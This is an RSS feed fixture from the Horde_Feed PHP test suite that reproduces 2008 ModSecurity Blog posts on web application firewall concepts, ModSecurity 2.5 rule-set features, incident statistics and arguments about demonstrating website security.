php-horde-feed 2.0.1-4 / usr / share / php / tests / Horde_Feed / Horde / Feed / fixtures / lexicon / http-www.modsecurity.org-blog-index.xml

<?xml version="1.0" encoding="iso-8859-1"?>
<rss version="2.0">
<channel>
<title>ModSecurity Blog</title>
<link>http://www.modsecurity.org/blog/</link>
<description></description>
<language>en</language>
<copyright>Copyright 2008</copyright>
<lastBuildDate>Thu, 27 Mar 2008 12:10:22 +0000</lastBuildDate>
<generator>http://www.movabletype.org/?v=3.16</generator>
<docs>http://blogs.law.harvard.edu/tech/rss</docs> 

<item>
<title>Web Application Monitoring Data Model</title>
<description><![CDATA[<p>A data model is the foundation of web application monitoring and, thus, key to successful utilisation of web application firewalls. We don't get to design the model; we can only deduct it from the information provided to us from the underlying technology. What we can do is build on it, and, for that reason, it is very important to understand what we have to work with.</p>

<p>An ideal model is one that helps structure the information available to us, allows us to enrich it with additional pieces of data and generally helps us raise events based on the information it contains.</p>

<p>The major parts of a web application monitoring data model are as follows:</p>
<ul>
<li><b>Connection</b> - corresponds to one TCP connection.
<li><b>Request</b> - corresponds to one HTTP request.
<li><b>Response</b> - corresponds to one HTTP response.
<li><b>IP Address</b> - the IP address of the client, retrieved from the TCP connection.
<li><b>Session</b> - application session.
<li><b>User</b> - authenticated user; in most cases this translates to the application user, but some sites still use HTTP authentication, and some might use both.
<li><b>Site</b> - perhaps more accurately called Protection domain, or Application. None of these terms is perfect, but I generally prefer to use Site. In our model, Site refers either to the functionality behind an entire domain name (e.g. www.example.com), or only a subset of one (www.example.com/forums/). 
<li><b>Country</b> - the country where the request originates.
<li><b>City</b> - the city where the request originates.
<li><b>Custom</b> - any number of custom attributes. For example, you might want to have different policies for different departments within your organisation. To achieve this, you will map client IP addresses to department names, which you will then use to determine policies.
</ul>

<p>Most of the components are easy to construct, mapping from the structures used in programming, but there are a few places where the technology does not support the view, or where what we are given is not what we want to see:</p>

<ul>
<li>Some work is needed to be able to <i>distinguish sessions</i>. There are different session identifier techniques to consider (e.g. in the URI, in a parameter, in a cookie). While there is a number of platforms that have standardised session management, there is also a large number of applications using their own schemes, so in general some custom work will be needed.
<li>More so in the case of <i>user identification</i>. Building on session identification one needs to identify a successful login event in the traffic in order to determine the session username.
<li>The <i>IP address may not be accurate</i>. It may be that of an intermediary, and not of the client itself. Such cases can sometimes be identified (as is the case with HTTP proxies) , but not always (e.g. if a transparent HTTP proxy is used). The problem is that, unless you control the proxy, you can only rely on the IP address you got from the TCP stack; the information extracted from HTTP requests headers is not to be trusted.
</ul>

<p><b>Note:</b> This post is part of the <a href="http://www.modsecurity.org/blog/archives/2008/03/web_application_3.html">Web Application Firewall Concepts series</a>.</p>]]></description>
<link>http://www.modsecurity.org/blog/archives/2008/03/web_application_6.html</link>
<guid>http://www.modsecurity.org/blog/archives/2008/03/web_application_6.html</guid>
<category>Web Security</category>
<pubDate>Thu, 27 Mar 2008 12:10:22 +0000</pubDate>
</item>
<item>
<title>Web Application Firewall Use Case: Continuous Security Assessment</title>
<description><![CDATA[<p>After some deliberation, I have decided to add Continuous security assessment as a standalone item on my <a href="http://www.modsecurity.org/blog/archives/2008/03/web_application_4.html">web application firewall use cases list</a>. Although some could argue the functionality is already covered in the Web intrusion detection and prevention section, it is not obvious&#8212;you have to understand this field in order to know it is there.</p>

<p>Continuous security assessment is not specific to web application firewalls&#8212;it's been used for the network layer for years&#8212;but web application firewalls are more useful for web applications (than IDS tools are for network applications), simply because there's essentially one data format to analyse (if you can call a bunch of loosely related specifications used by web applications "one" data format). With web applications, you get to see clear picture of application input and output. Therefore, with proper parsing and analysis in place, it's almost like having a direct communication channel with the application itself.</p>

<p>The focus here is not on the attacks and other suspicious client behaviour, which comes out of the stock IDS/IPS functionality, but on everything else:<ul><li>application defects,<br />
<li>information leakage,<br />
<li>configuration errors,<br />
<li>change control<br />
</ul></p>

<p>and so on. The advantage is that you can detect some very subtle issues, only possible because of the depth of analysis.</p>

<p>Just as an extreme example, there are quite a few web applications out there where SQL injection (less often) and XSS (surprisingly common) exist by design&#8212;their clients are allowed and expected to send such low-level stuff and have it executed by the server. These types of problem can be detected early and with little effort, and because assessment never stops, you get the alert as soon as they are manifested.</p>

<p><b>Note:</b> This post is part of the <a href="http://www.modsecurity.org/blog/archives/2008/03/web_application_3.html">Web Application Firewall Concepts series</a>.</p>]]></description>
<link>http://www.modsecurity.org/blog/archives/2008/03/web_application_5.html</link>
<guid>http://www.modsecurity.org/blog/archives/2008/03/web_application_5.html</guid>
<category>Web Security</category>
<pubDate>Wed, 19 Mar 2008 14:42:00 +0000</pubDate>
</item>
<item>
<title>Web Application Firewall Use Cases</title>
<description><![CDATA[<p>
There are many reasons to use a web application firewall. Most people tend to focus on prevention and blocking when the term is brought up, but that is just one of the possible uses. Three years ago, almost to the day, I wrote <a href="http://www.modsecurity.org/blog/archives/2005/03/where_do_web_ap.html">this post</a> to argue how one needs a WAF to serve as a part of the overall defence strategy. My opinion remains unchanged today, but I have since expanded the list of use cases for web application firewalls. Here they are:
</p>

<ol>
<li><b>Web intrusion detection and prevention.</b> Applying the principles of external traffic monitoring (IDS) and prevention (IPS) to HTTP and the related technologies, which are used to build web applications. Through your WAF you will look for signs of generic web application attacks (negative security model), or deploy a learning engine to construct a model of your site and reject all invalid traffic, not just attacks (also known as positive security model).
<li><b><a href="http://www.modsecurity.org/blog/archives/2008/03/web_application_5.html">Continuous security assessment</a>.</b> The idea with this case is to emphasize the fact web application firewalls actually understand web applications pretty well. Armed with this knowledge, they can do more than detect attacks; they can observe from signs of weaknesses, information leaks, configuration errors, and similar problems before an attempt to exploit them is made.
<li><b>Virtual (or just-in-time) patching.</b> When you need to deal with a specific problem in your web site, which exists either in your code or in the code of the product you are relying on. The focus in this use case is on writing custom rules to deal with custom issues.
<li><b>HTTP traffic logging and monitoring.</b> Do you know what is actually going on in your web applications? Who are your users and how are they using your systems? Are you being attacked and how?
<li><b>Network building blocks.</b> This use case is not often a primary motivator for WAF deployment, but if you're already deploying a reverse proxy to serve as a HTTP switch/router, making the device security-aware is the way to go.
<li><b>Web application hardening.</b> If you deploy your WAF as a reverse proxy then you can get it to modify the traffic stream to fix some of the design faults of your application or the HTTP protocol.
</ol>

<p>
I will expand on each use case in my future posts.
</p>

<p>
<b>Note:</b> This post is part of the <a href="http://www.modsecurity.org/blog/archives/2008/03/web_application_3.html">Web Application Firewall Concepts series</a>.
</p>]]></description>
<link>http://www.modsecurity.org/blog/archives/2008/03/web_application_4.html</link>
<guid>http://www.modsecurity.org/blog/archives/2008/03/web_application_4.html</guid>
<category>Web Security</category>
<pubDate>Mon, 10 Mar 2008 16:20:43 +0000</pubDate>
</item>
<item>
<title>Web Application Firewall Concepts</title>
<description><![CDATA[<p>I went through all my ModSecurity Blog posts yesterday, partly to admire myself for blogging consistently for almost 5 years and partly to understand what is that I talked about during this time. While I knew that most of my posts were pretty technical (after all, I did start my <a href="http://blog.ivanristic.com">new blog to focus on other things</a>) imagine my surprise when I realised I didn't properly cover the one thing this blog is supposed to cover: web application firewalls!  The emphasize is on the word "properly": I provided a great deal of technical information but not enough content that would explain why one would deploy a web application firewall and how. This stuff had went into my conference talks and the <a href="http://www.webappsec.org/projects/wafec/">Web Application Firewall Evaluation Criteria project</a>, but I forgot to discuss the topics here.</p>

<p>In an effort to fix this I am starting a series of blog posts called Web Application Firewall Concepts. Each post will be reasonably brief and cover one aspect of the technology, and I will continually update this post to serve as a table of contents.</p>

<p>Posts in this series:</p>

<ol>
<li><a href="http://www.modsecurity.org/blog/archives/2008/03/web_application_4.html">Use Cases</a>
<ol>
<li>Web intrusion detection and prevention
<li><a href="http://www.modsecurity.org/blog/archives/2008/03/web_application_5.html">Continuous Security Assessment</a>
<li>Virtual (or just-in-time) patching
<li>HTTP traffic logging and monitoring
<li>Network building blocks
<li>Web application hardening
</ol>
<li>Deployment models
<ol>
<li>Inline
<li>Out of line
<li>Embedded
</ol>
<li><a href="http://www.modsecurity.org/blog/archives/2008/03/web_application_6.html">Data Model</a>
<ol>
<li>Model construction
<li>Persisting information across requests
<li>Distinguishing sessions
<li>Distinguishing users
</ol>
<li>Analysis Model
<ol>
<li>Negative security
<li>Positive security
<li>Anomaly scoring
<li>Learning
<li>Evasion
<li>Impedance mismatch
</ol>
<li>Traffic logging
<li>Special protection techniques
<ol>
<li>Cookie protection
<li>Cross-Site Request Forgery
<li>Brute force attacks
<li>Denial of Service attacks
<li>PDF UXSS protection
</ol>
</ol>]]></description>
<link>http://www.modsecurity.org/blog/archives/2008/03/web_application_3.html</link>
<guid>http://www.modsecurity.org/blog/archives/2008/03/web_application_3.html</guid>
<category>Web Security</category>
<pubDate>Mon, 10 Mar 2008 15:38:05 +0000</pubDate>
</item>
<item>
<title>ModSecurity User Survey</title>
<description><![CDATA[<p>With the release of ModSecurity 2.5 yesterday, this seemed like the perfect time to get feedback from the user community.  The 2.5 release is important as it has included many features that were identified by the user community, so this highlights the need for us (Breach) to have a full understanding of how people are using ModSecurity and any challenges you all are facing.  </p>

<p>With this in mind, we have put together the first <a href="https://www.surveymonkey.com/s.aspx?sm=ZJBOq3NwvSjnY4pIykV8fw_3d_3d">ModSecurity User Survey</a>.</p>

<p>I urge everyone to please take about 5 minutes and fill out the survey.  With this information, we will be able to map out areas where we need to focus research and development to both the ModSecurity code itself, but also with the rule sets and supporting tools.</p>

<p>We will leave the survey open until the end of March.</p>

<p>Thanks for your time everyone.</p>]]></description>
<link>http://www.modsecurity.org/blog/archives/2008/02/modsecurity_use.html</link>
<guid>http://www.modsecurity.org/blog/archives/2008/02/modsecurity_use.html</guid>
<category>ModSecurity</category>
<pubDate>Fri, 22 Feb 2008 16:12:50 +0000</pubDate>
</item>
<item>
<title>ModSecurity 2.5 Released</title>
<description><![CDATA[<p>
The final version of ModSecurity 2.5.0, the
long awaited next stable version of ModSecurity, is now available.  This release offers quite a few new features: set-based matching, a wider variety of string matching operators, transformation caching, support for writing rules as Lua scripts, credit card number validation, enhanced means for maintaining and customizing third party rulesets, and quite a few other features.  Take a look at the main website to see a <a href="http://www.modsecurity.org/projects/modsecurity/apache/new_in_2.5.html">summary of the new features</a>.</p>

<h3>Getting ModSecurity</h3>

<p>As always, send questions/comments to the community support mailing list.  You can download the latest releases, view the documentation and subscribe to the mailing list at <a href="http://www.modsecurity.org/">www.modsecurity.org</a>.</p>

<h3>Building ModSecurity 2.5</h3>

<p>The documentation has been updated with a new build process for 2.5.  The new process uses the typical 'configure', 'make' and 'make install' approach instead of having to hand edit a Makefile as in previous releases.  This approach allows for a generally easy build for those with libraries in standard locations, but also some flexibility for those with unique systems.  You can take a look at more details in the <a href="http://www.modsecurity.org/documentation/modsecurity-apache/2.5.0/html-multipage/installation.html">installation</a> section of the <a href="http://www.modsecurity.org/documentation/index.html">documentation</a>.</p>]]></description>
<link>http://www.modsecurity.org/blog/archives/2008/02/modsecurity_25_1.html</link>
<guid>http://www.modsecurity.org/blog/archives/2008/02/modsecurity_25_1.html</guid>
<category>ModSecurity</category>
<pubDate>Wed, 20 Feb 2008 22:53:03 +0000</pubDate>
</item>
<item>
<title>Web Hacking Incidents Database Annual Report for 2007</title>
<description><![CDATA[<p>
<a href="http://www.breach.com/resources/breach-security-labs/">Breach Labs</a> which sponsors WHID has issued an analysis of the Web Hacking landscape in 2007 based on the incidents recorded at WHID. It took some time as we added the new attributes introduced lately to all 2007 incidents and mined the data to find the juicy stuff:
</p>

<p>
<ul>
  <li>The drivers, business or other, behind Web hacking.</li>
  <li>The vulnerabilities hackers exploit.</li>
  <li>The types of organizations attacked most often.</li>
</ul>
</p>

<p>
To be able to answer those questions, WHID tracks the following key
attributes for each incident:
<ul>
  <li>Attack Method - The technical vulnerability exploited by
the attacker to perform the hack.</li>
  <li>Outcome - the real-world result of the attack.</li>
  <li>Country - the country in which the attacked web site (or
owning organization) resides.</li>
  <li>Origin - the country from which the attack was launched.</li>
  <li>Vertical - the field of operation of the organization that was attacked.</li>
</ul>
Key findings were:
<ul>
  <li>67% percent of the attacks in 2007 were "for profit" motivated. Ideological hacking came second. </li>
  <li>With 20%, good old SQL injections dominated as the most common techniques used in the attacks. XSS finished 4th with 12 percent and the young and promising CSRF is still only seldom exploited out there and was included in the "others" group.</li>
  <li>Over 44% percent of incidents were tied to non-commercial sites such as Government and Education. We assume that this is partially because incidents happen more in these organizations and partially because these organizations are more inclined to report attacks.</li>
  <li>On the commercial side, internet-related organizations top the list. This group includes retail shops, comprising mostly e-commerce sites, media companies and pure internet services such as search engines and service providers. It seems that these companies do not compensate for the higher exposure they incur, with proper security procedures. </li>
  <li>In incidents where records leaked or where stolen the average number of records affected was 6,000.</li>
</ul>

<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
var pageTracker = _gat._getTracker("UA-140833-5");
pageTracker._initData();
pageTracker._trackPageview();
</script>

<b>The full report can be found at <a href="https://bsn.breach.com/downloads/whid/The%20Web%20Hacking%20Incidents%20Database%20Annual%20Report%202007.pdf"  onclick="javascript: pageTracker._trackPageview('/outgoing/msblog/whid_2007');">Breach Security Network</a></b>.
</p>]]></description>
<link>http://www.modsecurity.org/blog/archives/2008/02/web_hacking_inc.html</link>
<guid>http://www.modsecurity.org/blog/archives/2008/02/web_hacking_inc.html</guid>
<category>Web Security</category>
<pubDate>Sun, 17 Feb 2008 22:11:01 +0000</pubDate>
</item>
<item>
<title>Tangible ROI of a Web Application Firewall (WAF)</title>
<description><![CDATA[<p>One of the challenges facing organizations that need to increase the security of their web applications is to concretely provide appropriate "Return On Investment" (ROI) for procurement justification.  Organizations can only allocate a finite amount of budget towards security efforts therefore security managers need to be able to justify any commercial services, tools and appliances they want to deploy.  As most people who have worked in information security for an extended period of time know, producing tangible ROI for security efforts that address business driver needs is both quite challenging and critically important.</p>

<p>The challenge for security managers is to not focus on the technical intricacies of the latest complex web application vulnerability or attack.  C-level Executives do not have the time, and in most instances the desire, to know the nuances of an HTTP Request Smuggling attack.  That is what they are paying you for!  Security managers need to function as a type of liaison where they can take data from the Subject Matter Experts (SMEs) and then translate that into a business value that is important to the C-level Executive.</p>

<p>One, almost guaranteed, pain point to most executives are vulnerability scan reports that are presented by auditors.  The auditors are usually being brought in from and reporting to a higher-level third party (be it OMB in the Government or PCI for Retail).  Executives like to see "clean vulnerability scan reports."  While this will certainly not guarantee that your web application is 100% secure, it can certainly help to prove the counter-argument.  And to make matters worse, nothing is more frustrating to upper Management than auditor reports list repeat vulnerabilities that either never go away or pull the "Houdini" trick (they disappear for awhile only to suddenly reappear).  <em>Sidebar - see <a href="http://jeremiahgrossman.blogspot.com/2007/06/6-reasons-why-reviewing-development.html">Jeremiah Grossman's Blog </a>post for examples of this phenomenon.</em>  These situations are usually attributed to breakdowns in the Software Development Life Cycle (SDLC) where code updates are too time consuming or the change control processes are poor.  </p>

<p><em>This is one of the best examples of where a Web Application Firewall can prove its ROI.</em></p>

<p>At <a href="http://www.breach.com/">Breach Security</a>, we receive many inbound calls from prospects who are interested in WAF technology but are lacking that "Big Stick" that helps convince upper management to actually make the purchase.  The best scenario we have found is to suggest a "<em>Before and After</em>" comparison of a vulnerability scan report while they are testing the WAF on their network.  The idea is to deploy the WAF in block mode and then initiate a rescan of a protected site.  The difference in the reduction of findings is an immediate, quantitative ROI.  </p>

<p>Here is a real example.  One of our current customers followed this exact roadmap and this is a summary (slightly edited to remove sensitive information) of the information they sent back to us:</p>

<blockquote>

<p><em>Our WAF is installed and running.  I have tested its impact on www.example.com and it is operating very admirably.  This morning I had the vulnerability scanning team run an on-demand scan to test the efficacy of the appliance, and I was very impressed with the results.  Our previous metrics for www.example.com in the last scan were 64 vulnerabilities, across all outside IP addresses (including www.example.com, example2.com, example3.com, etc.) and with the Breach appliance in place, the metric from today's scan was 5 vulnerabilities, with details:</p>

<p>- High vulnerabilities dropped from 38 to 0<br />
- Medium vulnerabilities dropped from 12 to 0<br />
- 1 low vulnerability remains due to simply running a web server (we will eliminate this via exception)<br />
- 1 low vulnerability due to a file/folder naming convention that is typical and attracts unwanted attacks (will be eliminated via rule addition)</p>

<p>Bear in mind that I have applied the appliance with a basic (almost strictly out-of-the-box) configuration and ruleset to protect only www.example.com (192.168.1.100 in the report), and the 35 warnings that remain are for the other websites, and would similarly disappear when protected by the appliance.  In my opinion, this was a very successful test that indicates the effectiveness of the appliance.<br />
</em><br />
</blockquote></p>

<p>So, looking at the report after the WAF was in place, the www.example.com web site removed 38 high and 12 medium vulnerabilities and left only 2 low ones (which are really just informational notices).  That is pretty darn good and that was just with the default, generic detection ModSecurity rule set!  Hopefully this information has helped to provide a possible use-case testing scenario to show tangible ROI of a WAF.</p>

<p>In a future post, I will discuss how custom WAF rule sets can be implemented to address more complex vulnerability issues identified not by a scanner but by actual people who have performed a web assessment/pentest.  </p>]]></description>
<link>http://www.modsecurity.org/blog/archives/2008/02/tangible_roi_of.html</link>
<guid>http://www.modsecurity.org/blog/archives/2008/02/tangible_roi_of.html</guid>
<category>Web Security</category>
<pubDate>Fri, 01 Feb 2008 17:06:28 +0000</pubDate>
</item>
<item>
<title>Is Your Website Secure?  Prove It.</title>
<description><![CDATA[<p>The recent <a href="http://www.webappsec.org/projects/whid/byid_id_2008-01.shtml">Geeks.com compromise </a> and <a href="http://www.informationweek.com/news/showArticle.jhtml?articleID=205900444">subsequent articles</a> have created a <a href="http://jeremiahgrossman.blogspot.com/2008/01/scanalert-xss-is-not-our-problem.html">perfect storm of discussion topics</a> and concerns related to web security.  The underlying theme is that true web security encompasses much more than a Nessus scan from an external company.</p>

<p>The concepts (and much of the text) in this post are taken directly from a <a href="http://taosecurity.blogspot.com/2007/10/are-you-secure-prove-it.html">blog post</a> by Richard Bejtlich on his TaoSecurity site.  I have simply tailored the concepts specifically to web security.  Thanks goes to Richard for always posting thought provoking items and making me look at web security through a different set of eyes.  You know what they say about imitation ;)</p>

<p>The title of this post form the core of most of my recent thinking on web application security. Since I work for a commercial web application firewall company and am the ModSecurity Community Manager, I often get the chance to talk with people about web application security.  While I am not a "sales" guy, I do hang out at our vendor booth when we are at conferences.  I am mainly there to field technical questions and just interact with people.  I have found that the title of this post is actually one of the absolute best questions to ask someone when they first come up to our booth.  It always sparks interesting conversation and can shed light onto specific areas of strength and weakness.</p>

<p><H2>What does it mean to be secure?</H2></p>

<p>Obviously having logos posted on a web site that tout "we are secure" is really just a marketing tactic aimed to re-assure potential customer that it is safe to purchase goods at their site.  The reality is that these logos are non-reliable and make no guarantee as to the real level of security offered by the web site.  At best, they are an indication that the web site has met some sort of minimum standard.  But that is a far cry from actually being secure.</p>

<p>Let me expand "secure" to mean the definition Richard provided in his <a href="http://www.informit.com/store/product.aspx?isbn=0321246772">first book:</a> <em>Security is the process of maintaining an acceptable level of perceived risk.</em> He defined risk as <em>the probability of suffering harm or loss</em>. You could expand my six word question into <em>are you operating a process that maintains an acceptable level of perceived risk for your web application?</em></p>

<p>Let's review some of the answers you might hear to this question. I'll give an opinion regarding the utility of the answer as well.  For the purpose of this exercise let's assume it is <em><strong>possible</strong></em> to answer "yes" to this question. In other words, we just don't answer "no." We could all make arguments as to why it's impossible to be secure, but does that really mean there is no acceptable level of perceived risk in which you could operate? I doubt it.  Let's take a look at the varios levels of responses.</p>

<p><H2>So, is your website secure? Prove it.</H2></p>

<p><H3>1. Yes.</H3></p>

<p>Then, crickets (i.e., silence for you non-imaginative folks.) This is completely unacceptable. The failure to provide any kind of proof is <em>security by belief</em>. We want <em>security by fact</em>.  Think of it this way, would auditors accept this answer?  Could you pass a PCI Audit by simply responding yeah, we are secure.  Nope, you need to provide evidence.</p>

<p><H3>2. Yes, we have product X, Y, Z, etc. deployed.</H3></p>

<p>This is better, but it's another expression of belief and not fact. The only fact here is that technologies can be abused, subverted, and broken. Technologies can be simultaneously effective against one attack model and completely worthless against another.</p>

<p>This also reminds me of another common response I hear and that is - yes, we are secure because we use SSL.  Ugh...  Let me share with you one personal experience that I had with an "SSL Secured" website.  Awhile back, I decided to make an online purchase of some herbal packs that can be heated in the microwave and used to treat sore muscles. When I visited the manufacturer's web site, I was dutifully greeted with a message "We are a secure web site! We use 128-bit SSL Encryption." This was reassuring as I obviously did not want to send my credit card number to them in clear text. During my checkout process, I decided to verify some general SSL info about the connection. I double-clicked on the "lock" in the lower-right hand corner of my web browser and verified that the domain name associated with the SSL certificate matched the URL domain that I was visiting, that it was signed by a reputable Certificate Authority such as VeriSign, and, finally, that the certificate was still valid. Everything seemed in order so I proceeded with the checkout process and entered my credit card data. I hit the submit button and was then presented with a message that made my stomach tighten up. The message is displayed next; however, I have edited some of the information to obscure both the company and my credit card data.</p>

<p>The following email message was sent:</p>

<pre>
<strong>To:companyname@aol.com</strong>
From: RCBarnett@email.com
Subject:ONLINE HERBPACK!!!
name: Ryan Barnett
address: 1234 Someplace Ct.
city: Someplace
state: State
zip: 12345
phone#:
Type of card: American Express
name on card: Ryan Barnett
<strong>card number: 123456789012345</strong>
expiration date: 11/05
number of basics:
Number of eyepillows:
Number of neckrings: 1
number of belted: 1
number of jumbo packs:
number of foot warmers: 1
number of knee wraps:
number of wrist wraps:
number of keyboard packs:
number of shoulder wrap-s:
number of cool downz:
number of hats-black:         number of hats-gray:
number of hats-navy:         number of hats-red:
number of hats-rtcamo:         number of hats-orange:
do you want it shipped to a friend:
name:
their address:
their city:
their state:
their zip:
  
cgiemail 1.6
</pre>

<p>I could not believe it. It looked as though they had sent out my credit card data in clear-text to an AOL email account. How could this be? They were obviously technically savvy enough to understand the need to use SSL encryption when clients submitted their data to their web site. How could they then not provide the same due diligence on the back-end of the process?</p>

<p>I was hoping that I was somehow mistaken. I saw a banner message at the end of the screen that indicated that the application used to process this order was called "cgiemail 1.6." I therefore hopped on Google and tried to track down the details of this application. I found a hit in Google that linked to the cgiemail webmaster guide. I quickly reviewed the contents and found what I was looking for in the "What security issues are there?" section:</p>

<p><em>Interception of network data sent from browser to server or vice versa via network eavesdropping. Eavesdroppers can operate from any point on the pathway between browser and server.</p>

<p><strong>Risk: With cgiemail as with any form-to-mail program, eavesdroppers can also operate on any point on the pathway between the web server and the end reader of the mail. Since there is no encryption built into cgiemail, it is not recommended for confidential information such as credit card numbers</strong>.</em></p>

<p>Shoot, just as I suspected. I then spent the rest of the day contacting my credit card company about possible information disclosure and to place a watch on my account. I also contacted the company by sending an email to the same AOL address outlining the security issues that they needed to deal with. To summarize this story: Use of SSL does not a "secure site" make.</p>

<p><H3>3. Yes, we are PCI compliant.</H3></p>

<p>Generally speaking, regulatory compliance is usually a check-box paperwork exercise whose controls lag attack models of the day by one to five years, if not more. PCI is somewhat of an exception as it attempts to be more operationally relevant and address more current web application security issues.  While there are some admirable aspects of PCI, please keep this mantra in mind -</p>

<p><em><strong>It is much easier to pass a PCI audit if you are secure than to be secure because you pass a PCI audit.</strong></em></p>

<p>PCI, like most other regulations, are a minimum standard of due care and passing the audit does make your site "unhackable."  A compliant enterprise is like feeling an ocean liner is secure because it left dry dock with life boats and jackets. If regulatory compliance is more than a paperwork self-survey, we approach the realm of real of evidence. However, I have not seen any compliance assessments which measure anything of operational relevance.  Check out Richard's Blog posts on <a href="http://taosecurity.blogspot.com/2006/07/control-compliant-vs-field-assessed.html">Control-Compliant </a>security for more details on this concept and why it is inadequate.  What we really need is more of a "Field-Assessed" mode of evaluation.  I will discuss this concept more in depth in future Blog posts.</p>

<p><H3>4. Yes, we have logs indicating we prevented web attacks X, Y, and Z (SQL Injection, XSS, etc...).</H3></p>

<p>This is getting close to the right answer, but it's still inadequate. For the first time we have some real evidence (logs) but these will probably not provide the whole picture.  I believe that how people deploy and use a WAF is critical.  Most people deploy a WAF in an "alert-centric" configuration which will <em><strong>only</strong></em> provide logs when a rule matches.  Sure, these alert logs indicate what was identified and potentially stopped, but what about activities that were allowed? Were they all normal, or were some malicious but unrecognized by the preventative mechanism?  Deploying a WAF as an HTTP level auditing device is a highly under-utilized deployment option.  There is a great old quote that sums up this concept -</p>

<p><a href="http://www.usenix.org/publications/login/1998-2/auditing.html">"In an incident, if you don't have good logs (i.e. auditing), you'd better have good luck."</a></p>

<p><H3>5. Yes, we do not have any indications that our web applications are acting outside their expected usage patterns.</H3></p>

<p>Some would call this rationale the definition of security. Whether or not this answer is acceptable depends on the nature of the indications. If you have no indications because you are not monitoring anything, then this excuse is hollow. If you have no indications and you comprehensively track the state of a web application, then we are making real progress. That leads to the penultimate answer, which is very close to ideal.</p>

<p><H3>6. Yes, we do not have any indications that our web applications are acting outside their expected usage patterns, and we thoroughly collect, analyze, and escalate a variety of network-, host-, and web application-based evidence for signs of violations.</H3></p>

<p>This is really close to the correct answer. The absence of indications of intrusion is only significant if you have some assurance that you've properly instrumented and understood the web application. You must have trustworthy monitoring systems in order to trust that a web application is "secure."  The lack of robust audit logs is usually the reason why organizations can not provide this answer.  Put it this way, Common Log Format (CLF) logs are not adequate for full web based incident responst.  Too much data is missing.  If this is really close, why isn't it correct?</p>

<p><H3>7. Yes, we do not have any indications that our web applications are acting outside their expected usage patterns, and we thoroughly collect, analyze, and escalate a variety of network-, host-, and web application-based evidence for signs of violations. We regularly test our detection and response people, processes, and tools against external adversary simulations that match or exceed the capabilities and intentions of the parties attacking our enterprise (i.e., the threat).</H3></p>

<p>Here you see the reason why number 6 was insufficient. If you assumed that number 6 was OK, you forgot to ensure that your operations were up to the task of detecting and responding to intrusions.  Periodically you must benchmark your perceived effectiveness against a neutral third party in an operational exercise (a "red team" event). A final assumption inherent in all seven answers is that you know the assets you are trying to secure, which is no mean feat.  Think of this practical exercise, if you run a zero-knowledge (meaning un-announced to operations staff) web application penetration test, how does your organization respond?  Do they even notice the penetration attempts?  Do they report it through the proper escalation procedures?  How long does it take before additional preventative measures are employed?  Without answers to this type of "live" simulation, you will never truly know if your monitoring and defensive mechanisms are working.</p>

<p><H2>Conclusion</H2></p>

<p>Indirectly, this post also explains why only doing one of the following: web vulnerability scanning, penetration testing, deploying a web application firewall and log analysis does not adequately ensure "security."  While each of these tasks excel in some areas and aid in the overall security of a website, they are each also ineffective in other areas.  It is the overall coordination of these efforts that will provide organizations with, as Richard would say, a truly <em><strong>"defensible web application."</strong></em><br />
</p>]]></description>
<link>http://www.modsecurity.org/blog/archives/2008/01/is_your_website.html</link>
<guid>http://www.modsecurity.org/blog/archives/2008/01/is_your_website.html</guid>
<category>Web Security</category>
<pubDate>Wed, 30 Jan 2008 12:45:08 +0000</pubDate>
</item>
<item>
<title>ModSecurity 2.5 Status</title>
<description><![CDATA[<p>The ModSecurity 2.5 release is scheduled for early/mid February.  With the ModSecurity 2.5 release just around the bend, I have been spending my time doing a lot of testing, tweaking and polishing.  I would like ModSecurity 2.5 and the core rule set (or any of the commercial rule sets Breach offers) to be easier to integrate into your environment.  Ofer Shezaf and Avi Aminov are hard at work developing and tuning the core rule sets.  Along with this comes requests from them for features to make integration and configuration easier. Because of this, I have included a few new features in ModSecurity 2.5 to make things easier for rule set authors.  What this means is that it is time for the next release candidate of ModSecurity 2.5, 2.5.0-rc2.  This release focuses primarily on making generic rule sets (such as the core rule set) easier to configure and customize for your sites.</p>

<h3>Taming the Rule Set</h3>

<p>ModSecurity does not give you much without a good rule set.  However, good rule sets are time consuming to develop and require a lot of testing and tuning.  More people benefit from a generic rule set, but these can be time consuming to customize for your sites while still allowing an easy upgrade path when new rule sets are released.  For those of you who keep track of the community mailing list, you have undoubtedly seen the many false positive comments and requests for help getting generic rules to fit in a custom environment.  A generic rule set will not work for everyone out of the box and will need to be tailored to fit.  But tailoring can mean local modifications.  And that may mean a lot of extra time spent retesting and reapplying modifications when it comes time to upgrade the rule set.  Ryan Barnett has some excellent articles on how to deal with modifying a rule set in the least intrusive manner.  However, I want to introduce some new functionality I have added to ModSecurity 2.5 to help deal with customizing rule sets without actually touching the rules -- making upgrades easier and require less time.</p>

<p>One of the biggest concerns over a generic third party rule set is that of policy.  To block or not to block, that is the question.  Some installers preferred just logging, others blocking via HTTP 403, some via HTTP 500, others preferred dropping the connection altogether with a TCP reset.  In past versions of ModSecurity, this usually meant rule set authors had to include two versions of their rules, one for logging only and another for blocking.  If this was not done, then the  rule set installer would have to manually change all the actions in a rule set if not to the installer's liking.  With ModSecurity 2.5, this blocking decision can now more easily be that of the rule set <em>installer</em> instead of the rule set <em>author</em>.</p>

<p>A new "block" action has been added to ModSecurity 2.5 to allow a rule set to specify where blocking is intended, but not actually specifying <em>how</em> to perform the blocking.  The <em>how</em> is left up to the rule set installer, including the choice of <em>not</em> blocking at all.  Currently this is done via inheritance (existing SecDefaultAction directive), but is also enhanced via the new SecRuleUpdateActionById directive.  Future versions of ModSecurity will make this even more flexible.</p>

<p>Take the following rule set as an example.  This will deny and log any request not a GET, POST or HEAD.  So, things like PUT, TRACE, etc. will be denied with an HTTP 500 status even though the installer specified a default of "pass".</p>

<pre>
# Default set in the local config
SecDefaultAction "phase:2,pass,log,auditlog"

# In a 3rd party rule set
SecRule REQUEST_METHOD "!^(?:GET|POST|HEAD)$" "phase:1,t:none,deny,status:500"
</pre>

<p>With the new "block" action, this could be rewritten as in the following example.  In this example the blocking action is, well, not to block ("pass" specified in the SecDefaultAction).  This could easily be changed by the installer to "deny,status:501", "drop", "redirect:http://www.example.tld/", etc.  The important thing to note here is that the installer is making the choice, not the rule set author.</p>

<pre>
# Default set in the local config
SecDefaultAction "phase:2,pass,log,auditlog"

# In a 3rd party rule set
SecRule REQUEST_METHOD "!^(?:GET|POST|HEAD)$" "phase:1,t:none,block"
</pre>

